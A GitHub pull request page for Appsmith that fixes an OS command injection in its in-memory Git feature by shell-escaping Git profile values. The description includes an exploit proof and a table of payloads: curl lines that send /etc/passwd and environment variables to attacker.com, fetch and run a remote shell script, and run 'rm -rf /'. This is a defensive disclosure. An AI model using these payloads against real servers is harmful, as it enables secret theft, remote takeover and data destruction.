Skip to content

Conversation

@subrata71
Copy link
Collaborator

@subrata71 subrata71 commented Jan 26, 2026

Description

Exploitation Proof

Set Malicious Git Profile:

PUT /api/v1/git/profile/app/{applicationId}
Content-Type: application/json

{
    "authorName": "x$(sleep 5)",
    "authorEmail": "attacker@example.com",
    "useGlobalProfile": false
}

Generated Bash Script (what BashService creates):

# ... git.sh content ...
arg1="attacker@example.com"
arg2="x$(sleep 5)"           # <-- COMMAND EXECUTED HERE
arg3="<private_key>"
# ...
git_download "$arg1" "$arg2" "$arg3" ...

Trigger Git Operation:

GET /api/v1/git/pull/app/{applicationId}

Result: The $(sleep 5) is executed during bash variable assignment, causing a 5-second delay confirming RCE.

More Dangerous Payloads

Payload Effect
x$(id) Shows server user context
x$(curl attacker.com/$(whoami)) Exfiltrate username
x$(cat /etc/passwd|base64 -w0|curl -d @- attacker.com) Exfiltrate passwd file
x$(env|curl -d @- attacker.com) Exfiltrate ALL environment variables (DB creds, API keys)
x$(curl attacker.com/shell.sh|bash) Download and execute reverse shell
x$(rm -rf /) Denial of Service (destructive)

Fixes https://linear.app/appsmith/issue/V2-2529/vulnerability-os-command-injection-in-in-memory-git
Fixes https://github.com/appsmithorg/appsmith/security/advisories/GHSA-2j8h-44vf-xp8p

Shadow EE PR: https://github.com/appsmithorg/appsmith-ee/pull/8565

Automation

/ok-to-test tags="@tag.All"

🔍 Cypress test results

Warning

Workflow run: https://github.com/appsmithorg/appsmith/actions/runs/21347209127
Commit: f86dd26
Cypress dashboard.
Tags: @tag.All
Spec:
It seems like no tests ran 😔. We are not able to recognize it, please check workflow here.


Mon, 26 Jan 2026 05:32:56 UTC

Communication

Should the DevRel and Marketing teams inform users about this change?

  • Yes
  • No

Summary by CodeRabbit

  • Bug Fixes

    • Enhanced shell command safety in Git operations to ensure secure argument processing and execution.
  • Tests

    • Added comprehensive test coverage for Git operations, including security scenarios, edge cases, and injection prevention validation across multiple test suites.

✏️ Tip: You can customize this high-level summary in your review settings.

@subrata71 subrata71 requested a review from a team as a code owner January 26, 2026 05:21
@linear
Copy link

linear bot commented Jan 26, 2026

@subrata71 subrata71 self-assigned this Jan 26, 2026
@subrata71 subrata71 added the ok-to-test Required label for CI label Jan 26, 2026
@github-actions github-actions bot added the Bug Something isn't working label Jan 26, 2026
@coderabbitai
Copy link
Contributor

coderabbitai bot commented Jan 26, 2026

Walkthrough

This change implements shell command injection protection by introducing a shellEscape utility method in BashService that wraps arguments in POSIX-compliant single quotes. The method is integrated into command building logic and supported by comprehensive security-focused test coverage across multiple test suites.

Changes

Cohort / File(s) Summary
Shell Argument Escaping
app/server/appsmith-git/src/main/java/com/appsmith/git/service/BashService.java, app/server/appsmith-git/src/test/java/com/appsmith/git/service/BashServiceTest.java
Added private shellEscape(String) utility method for POSIX-compliant single-quote wrapping of shell arguments; updated buildFullCommand to use escaped values in variable assignments. Test suite adds 482 lines of comprehensive security coverage including command injection patterns (command substitution, backticks, variable expansion), edge cases (null, quotes, newlines), and integration validation.
Integration Security Tests
app/server/appsmith-server/src/test/java/com/appsmith/server/aspect/GitRouteAspectTest.java
Added 113 lines of security test cases validating GitProfile payload handling for git author metadata and branch name collection with injection-like inputs, confirming downstream escaping by BashService.

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~20 minutes

Poem

Single quotes defend the command line's gate, 🛡️
Shell escapes prevent injection's cruel fate,
Arguments wrapped in safety's embrace,
Security tests run at a brisk pace,
Shell safety levels the battleground straight.

🚥 Pre-merge checks | ✅ 2 | ❌ 1
❌ Failed checks (1 warning)
Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 12.24% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (2 passed)
Check name Status Explanation
Title check ✅ Passed The title 'fix: os command injection vulnerability when in-memory Git is enabled' clearly and specifically identifies the main security fix in the changeset.
Description check ✅ Passed PR description includes detailed exploitation proof, reproduction steps, dangerous payload examples, and references to issue trackers, but lacks explicit justification of the fix implementation.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing touches
  • 📝 Generate docstrings

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Bug Something isn't working ok-to-test Required label for CI

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant